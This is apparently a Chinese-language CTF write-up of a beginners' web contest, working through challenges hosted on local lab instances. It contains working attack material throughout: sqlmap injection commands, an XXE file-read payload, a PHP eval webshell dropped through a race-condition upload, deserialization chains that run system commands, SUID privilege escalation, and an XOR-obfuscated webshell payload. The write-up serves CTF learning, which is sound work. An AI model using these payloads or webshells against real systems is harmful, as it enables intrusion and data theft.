0 Web入门指北
下载的文件如下

去除提示和那个空行直接复制到控制台就行了
moectf{jv@vScr1p7_14_so0o0o0o_inT3r3&t!!!}

01 第一章 神秘的手镯

但是提示不能复制

停用 js 就行了

可以了

非预期解:
F12 查看源代码

看shouzhuo.js 发现 flag

01 第一章 神秘的手镯_revenge
直接通过元素粘贴进去

发现至少提交 500 次,所以直接进行爆破

没用 burp 直接 yakit 进行爆破了

02 第二章 初识金曦玄轨
这 web 题有点小 nb


抓包看看,直接成了

03 第三章 问剑石!篡天改命!
题目提示要传入“流云状青芒(flowing_azure_clouds)”这个参数。又看一下源代码,说明我们要对{ manifestation: ‘none’ }做手脚
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <script> async function testTalent() { try { const response = await fetch('/test_talent?level=B', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ manifestation: 'none' }) });
const data = await response.json(); document.getElementById('result').textContent = data.result;
const glow = document.getElementById('glow'); if (data.result.includes('流云状青芒')) { glow.style.opacity = '1'; } else { glow.style.opacity = '0'; }
if (data.flag) { setTimeout(() => { alert(`✨ 天道机缘:${data.flag} ✨\n\n天赋篡天术大成!`); }, 500); } } catch (error) { alert('玄轨连接中断!请检查灵枢...'); } } </script>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| POST /test_talent?level=S HTTP/1.1 Host: 127.0.0.1:44436 sec-ch-ua: "Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24" Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Sec-Fetch-User: ?1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://127.0.0.1:44436 Accept-Language: zh-CN,zh;q=0.9 Accept-Encoding: gzip, deflate, br, zstd User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 sec-ch-ua-mobile: ?0 Sec-Fetch-Site: cross-site
{"manifestation":"flowing_azure_clouds"}
|
记得加上Content-Type
1 2 3 4 5
| POST /test_talent?level=S HTTP/1.1 Host: 127.0.0.1:44436 Content-Type: application/json
{"manifestation":"flowing_azure_clouds"}
|
非预期:
修改 js 代码的 level=B 为 S none 为 flowing_azure_clouds:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| async function testTalent() { try { const response = await fetch('/test_talent?level=S', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ manifestation: 'flowing_azure_clouds' }) });
const data = await response.json(); document.getElementById('result').textContent = data.result;
const glow = document.getElementById('glow'); if (data.result.includes('流云状青芒')) { glow.style.opacity = '1'; } else { glow.style.opacity = '0'; }
if (data.flag) { setTimeout(() => { alert(`✨ 天道机缘:${data.flag} ✨\n\n天赋篡天术大成!`); }, 500); } } catch (error) { alert('玄轨连接中断!请检查灵枢...'); } }
|
之后拦截弹窗,方便复制
1 2 3 4
| window.alert = (msg) => { console.log('弹窗内容:', msg); };
|
就行了

04 第四章 金曦破禁与七绝傀儡阵

GET 传参,真,新生赛

获得玉简碎片: bW9lY3Rme0Mw
POST 传参,ez,

获得玉简碎片: bjZyNDd1MTQ3
xff,ez

获得玉简碎片: MTBuNV95MHVy
改 user-agent 就行了

获得玉简碎片: X2g3N1BfbDN2
改 Cookie 就行了

获得玉简碎片: M2xfMTVfcjM0
改 referer 就行了

获得玉简碎片: bGx5X2gxOWgh
PUT 请求,ez

获得玉简碎片: fQ==
拼接玉简碎片: bW9lY3Rme0MwbjZyNDd1MTQ3MTBuNV95MHVyMTBuNV95MHVyX2g3N1BfbDN2M2xfMTVfcjM0bGx5X2gxOWghfQ==
base64 解密就行了

05 第五章 打上门来!
直接 ../../flag 进行目录穿越就行了



06 第六章 藏经禁制?玄机初探!
弱口令爆破出来的 hhh


07 第七章 灵蛛探穴与阴阳双生符

扫描看看

提示 /flag.php

ez_php

a,b 均为字符串就弱相等了,之后加s155964671a、s214587387a md5 后是 0e 开头的,所以相等

08 第八章 天衍真言,星图显圣
手工注入:
但凡报错没什么提示信息,经过测试发现这个能成功,并且只有 1 这个位置能回显

看看数据库

看看表名,明显有 flag

看看列名,发现了 value

所以就直接看 flag 了

或者 sqlmap 一把梭哈

1 2 3 4
| py sqlmap.py -u "http://127.0.0.1:50236/?username=abc&password=123456" -p username --current-db --time-sec=3 --eta py sqlmap.py -u "http://127.0.0.1:50236/?username=abc&password=123456" -p username --current-db -D user --tables --time-sec=3 --eta py sqlmap.py -u "http://127.0.0.1:50236/?username=abc&password=123456" -p username --current-db -D user -T flag --columns --time-sec=3 --eta py sqlmap.py -u "http://127.0.0.1:50236/?username=abc&password=123456" -p username --current-db -D user -T flag -C value --dump --time-sec=3 --eta
|
sqlmap 时间盲注炼丹出来了

简化流程,一把梭哈:
1 2 3
| py sqlmap.py -u "http://127.0.0.1:50236/?username=abc&password=123456" py sqlmap.py -u "http://127.0.0.1:50236/?username=abc&password=123456" -p username --technique=U --batch --dbs py sqlmap.py -u "http://127.0.0.1:50236/?username=abc&password=123456" -p username --technique=U --batch -D user --dump
|

09 第九章 星墟禁制·天机问路
ez_ping,啥过滤都没有,直接就是 rce 了


网页源代码,进站时与 php 相关的,真是 system,啥过滤都没有
1 2 3 4 5 6 7 8 9
| <?php $output = ""; if (isset($_GET['url'])) { $domain = $_GET['url']; ob_start(); system("nslookup " . $domain); $output = ob_get_clean(); } ?>
|
10 第十章 天机符阵
ez_xml


1 2 3 4 5 6
| <!DOCTYPE ANY [ <!ENTITY test SYSTEM "file:///var/www/html/flag.txt"> ]> <root> <解析>&test;</解析> </root>
|
10 第十章 天机符阵_revenge
不用指定绝对路径了

11 第十一章 千机变·破妄之眼
省流:HDdss看到了 GET 参数名由m,n,o,p,q这五个字母组成(每个字母出现且仅出现一次),长度正好为 5,虽然不清楚字母的具体顺序,参数名等于参数值才能进入。
所以用 yakit 进行爆破,记得把左边的笛卡尔积关掉
生成 120 个 playload:
1 2 3 4 5 6
| import itertools letters = ['m', 'n', 'o', 'p', 'q'] all_permutations = itertools.permutations(letters)
for perm in all_permutations: print(''.join(perm))
|
进行爆破找到组合 mqopn

请求包告诉我们要找 find.php,还 302 跳转,防止一个一个测试是吧

如果是 python 的 requests 抓包发包的话
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| import requests
def send_get_request(url, headers=None, params=None): try: response = requests.get(url, headers=headers, params=params, timeout=10) print(f"GET请求状态码: {response.status_code}") print(f"请求的完整URL: {response.url}") return response except Exception as e: print(f"GET请求出错: {e}") return None
def permute_unique(arr): """生成并打印所有不重复的排列""" chars = sorted(arr) n = len(chars) used = [False] * n result = [''] * n def backtrack(depth): if depth == n: get_params = {''.join(result): ''.join(result)} get_response = send_get_request("http://127.0.0.1:42911/", headers=None, params=get_params) if get_response and len(get_response.text) != 9779 : print("\n=== 响应详细信息 ===") print(f"响应状态码: {get_response.status_code}") print(f"响应文本长度: {len(get_response.text)}") print(f"响应文本: {get_response.text}") print(f"响应JSON: {get_response.json() if 'application/json' in get_response.headers.get('Content-Type', '') else '非JSON响应'}") print(f"响应URL: {get_response.url}") print(f"响应Cookies: {get_response.cookies}") print("Find!",f"{''.join(result)}") quit() return for i in range(n): if used[i]: continue if i > 0 and chars[i] == chars[i-1] and not used[i-1]: continue used[i] = True result[depth] = chars[i] backtrack(depth + 1) used[i] = False backtrack(0)
if __name__ == "__main__": array = "monpq" permute_unique(array) print("NO FIND")
|
好像这个字符会变化的

find.php 如下,发现参数 file

flag 不让看

直接 php 伪协议读取文件

赛博厨子解码

12 第十二章 玉魄玄关·破妄
蚁剑连接,flag 在环境变量里,看下就好了

13 第十三章 通幽关·灵纹诡影
用 010editor 修改文件头

上传抓包改文件名

之后蚁剑连接就行了

flag 如下:

14 第十四章 御神关·补天玉碑
.htaccess 文件指定 cmd.jpg 解释为 php,直接绕过

flag 如下

15 第十五章 归真关·竞时净魔
条件竞争上传,有点看运气了
这道题是持续上传木马文件,然后在服务器重新命名文件之前访问这个木马文件,让这个木马文件创造另一个后门文件,然后访问这个后门文件就行了。
写木马文件
1 2 3 4
| <?php file_put_contents("backdoor.php", '<?php @eval($_POST["cmd"]); ?>'); echo "ok"; ?>
|
抓包

两个爆破一起进行,发现有一个长度是 2 的文件,这就是木马执行成功的文件,尝试了好几次终于成功了

发现以及成功了

可以命令执行了

16 第十六章 昆仑星途
看 resourse 文件里有什么东西,发现可以文件包含,但是题干上自动加上了.php 的后缀,所以就不能直接找 flag,所以要执行命令

data 伪协议

17 第十七章 星骸迷阵·神念重构
反序列化漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php highlight_file(__FILE__);
class A { public $a; function __destruct() { eval($this->a); } }
if(isset($_GET['a'])) { unserialize($_GET['a']); }
|
exp
1 2 3 4 5 6 7 8 9 10 11
| <?php class A { public $a = "system('env');";
}
$b = new A; $c = serialize($b); echo $c;
|
Correct!小说解压密码是:4nF_KGJ59cdaei7hjwoZsVxr

18 第十八章 万卷诡阁·功法连环
ez 反序列化
题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php highlight_file(__FILE__);
class PersonA { private $name; function __wakeup() { $name=$this->name; $name->work(); } }
class PersonB { public $name; function work(){ $name=$this->name; eval($name); }
}
if(isset($_GET['person'])) { unserialize($_GET['person']); }
|
题目使用的 wakeup 的魔术方法,所以在 unserialize() 时会调用这个 wakeup 魔术方法,所以链子显而易见
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php class PersonA { public $name;
}
class PersonB { public $name = "system('env');";
}
$a = new PersonA(); $a->name = new PersonB(); echo(serialize($a));
|

19 第十九章 星穹真相·补天归源
unez_ 反序列化,__wakeup() 开头 + __destruct() 结尾 是最稳定、最常见的利用链结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <?php highlight_file(__FILE__);
class Person { public $name; public $id; public $age;
public function __invoke($id) { $name = $this->id; $name->name = $id; $name->age = $this->name; } }
class PersonA extends Person { public function __destruct() { $name = $this->name; $id = $this->id; $age = $this->age; $name->$id($age); } }
class PersonB extends Person { public function __set($key, $value) { $this->name = $value; } }
class PersonC extends Person { public function __Check($age) { if(str_contains($this->age . $this->name,"flag")) { die("Hacker!"); } $name = $this->name; $name($age); }
public function __wakeup() { $age = $this->age; $name = $this->id; $name->age = $age; $name($this); } }
if(isset($_GET['person'])) { $person = unserialize($_GET['person']); }
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php class PersonA { public $name; public $id = "__Check"; public $age; }
class PersonB { public $name = "cat /*"; public $id; public $age; }
class PersonC { public $name = "system"; public $id; public $age; }
$a = new PersonA(); $b = new PersonB(); $c = new PersonC();
$c->id = $b; $b->id = $a; $a->name = $c;
echo serialize($c); ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| if(isset($_GET['person'])) { $person = unserialize($_GET['person']); }
public function __wakeup() { $age = $this->age; $name = $this->id; $name->age = $age; $name($this); }
public function __invoke($id) { $name = $this->id; $name->name = $id; $name->age = $this->name; }
class PersonA { public $name; public $id = "__Check"; public $age = "cat /*"; }
public function __destruct() { $name = $this->name; $id = $this->id; $age = $this->age; $name->$id($age); }
class PersonC { public $name = "system"; public $id; public $age; }
public function __Check($age) { if(str_contains($this->age . $this->name,"flag")) { die("Hacker!"); } $name = $this->name; $name($age); }
|
反序列化 $c → $c->__wakeup() → 触发 $b->__invoke($c) → 设置 $a->age="cat /????" → 脚本结束 → $a->__destruct() → $c->__Check() → system("cat /*")
19 第十九章_revenge
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| highlight_file(__FILE__);
class Person { public $name; public $id; public $age; }
class PersonA extends Person { public function __destruct() { $name = $this->name; $id = $this->id; $name->$id($this->age); } }
class PersonB extends Person { public function __set($key, $value) { $this->name = $value; }
public function __invoke($id) { $name = $this->id; $name->name = $id; $name->age = $this->name; } }
class PersonC extends Person { public function check($age) { $name=$this->name; if($age == null) { die("Age can't be empty."); } else if($name === "system") { die("Hacker!"); } else { var_dump($name($age)); } }
public function __wakeup() { $name = $this->id; $name->age = $this->age; $name($this); } } if(isset($_GET['person'])) { $person = unserialize($_GET['person']); }
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php class PersonA { public $name; public $id = "check"; public $age; }
class PersonB { public $name = "env"; public $id; public $age; }
class PersonC { public $name = "passthru"; public $id; public $age; } $a = new PersonA(); $b = new PersonB(); $c = new PersonC();
$a->name = $c; $b->id = $a; $c->id = $b;
echo serialize($c);
|

20 第二十章 幽冥血海·幻语心魔
看代码是 flask,即 SSTI
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from flask import Flask, request, render_template, render_template_string
app = Flask(__name__)
@app.route('/') def index(): if 'username' in request.args or 'password' in request.args: username = request.args.get('username', '') password = request.args.get('password', '')
if not username or not password: login_msg = """ <div class="login-result" id="result"> <div class="result-title">阵法反馈</div> <div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div> </div> """ else: login_msg = render_template_string(f""" <div class="login-result" id="result"> <div class="result-title">阵法反馈</div> <div id="result-content"><div class='login-success'>欢迎: {username}</div></div> </div> """) else: login_msg = ""
return render_template("index.html", login_msg=login_msg)
if __name__ == '__main__': app.run(host='0.0.0.0', port=80)
|
焚靖梭哈

最简单的 SSTI

21 第二十一章 往生漩涡·言灵死局
很明显的 SSTI

fenjing 梭哈


22 第二十二章 血海核心·千年手段
看看附件,是 SSTI 但是这次是无回显的

之后发现权限不可读 flag,所以尝试 SUID 提权

发现这几个具有 SUID 权限的命令

rev 命令通常用于反转每行的字符顺序,所以看看能不能利用一下,这个 rev.c 有点可疑

看看文件,发现 –HDdss 明显的不寻常字符,阅读代码发现 argv[i] 和 –HDdss 一样就执行代码了
1 2 3 4 5 6 7 8 9 10 11 12 13
| #include <unistd.h> #include <string.h>
int main(int argc, char **argv) {
for(int i = 1; i + 1 < argc; i++) { if (strcmp("--HDdss", argv[i]) == 0) { execvp(argv[i + 1], &argv[i + 1]); } }
return 0; }
|
playload:
成了

这是…Webshell?
1 2 3 4 5 6 7 8 9 10 11
| <?php highlight_file(__FILE__); if(isset($_GET['shell'])) { $shell = $_GET['shell']; if(!preg_match('/[A-Za-z0-9]/is', $_GET['shell'])) { eval($shell); } else { echo "Hacker!"; } } ?>
|
1 2 3 4 5 6 7 8 9
| $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); $___=$$__; $_($___[_]);
去除注释 $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);
|

Moe笑传之猜猜爆
随机数,不能直接猜

你这 flag 有点 ……

6

摸金偶遇FLAG,拼尽全力难战胜
在规定时间内输入密码就行了

看看源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| var morseCodeLength = 9; var limitChallengeTime = 3;
function generateRandomDigitArray(length) { return new Promise((resolve, reject) => { fetch(`/get_challenge?count=${length}`) .then((response) => { if (!response.ok) { throw new Error(`HTTP error! status: ${response.status}`); } return response.json(); }) .then((data) => { if (data.error) { reject(data.error); } else { const real = data.numbers; const guess = Array.from({ length }, () => null); myToken = data.token; resolve({ real, guess }); } }) .catch((error) => { console.error("Error fetching challenge data:", error); reject("Failed to fetch challenge data."); }); }); }
function getProgressBarText(style) { switch (style) { case 0: return ">>> 等待开始挑战..."; case 1: return ">>> 防破译进程加载中..."; case 2: return ">>> 正在骇入系统..."; case 3: return ">>> 挑战超时"; case 4: return `>>> 挑战已终止,正确密码 ${realCode.join("")}`; default: fetch("/verify", { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify({ answers: realCode, token: myToken }) }) .then((response) => response.json()) .then((data) => { if (data.correct) { const flag = data.flag || "无法获取flag"; $(".computerTitle").text(`破译完成,已获取如下权限: ${flag}`); } else { $(".computerTitle").text(`破译失败: ${data.message || "未知错误"}`); } }) .catch((error) => { console.error("Error verifying solution:", error); $(".computerTitle").text("破译完成,但无法获取权限内容"); }); $(".decode-item-block").show(); $(".leftPanel,.inputPanel").hide(); return ( ">>> 骇入成功" + (limitChallenge ? `,挑战用时:${passedTime} 秒` : "") ); } }
|
这两个函数中的 /get_challenge?count= 和 /verify 比较引人注目,看看 /get_challenge?count=9,直接就是答案和 token,/verify 直接 POST 验证就好了。

直接 py 脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import requests import json
url = "http://127.0.0.1:56708/"
def get_flag(): with requests.Session() as s: data = s.get(f"{url}/get_challenge?count=9").json() print("data:\n",data)
resp = s.post(f"{url}/verify", json={ "answers": data["numbers"], "token": data["token"] }).json()
print("flag:\n",json.dumps(resp))
if __name__ == "__main__": get_flag()
|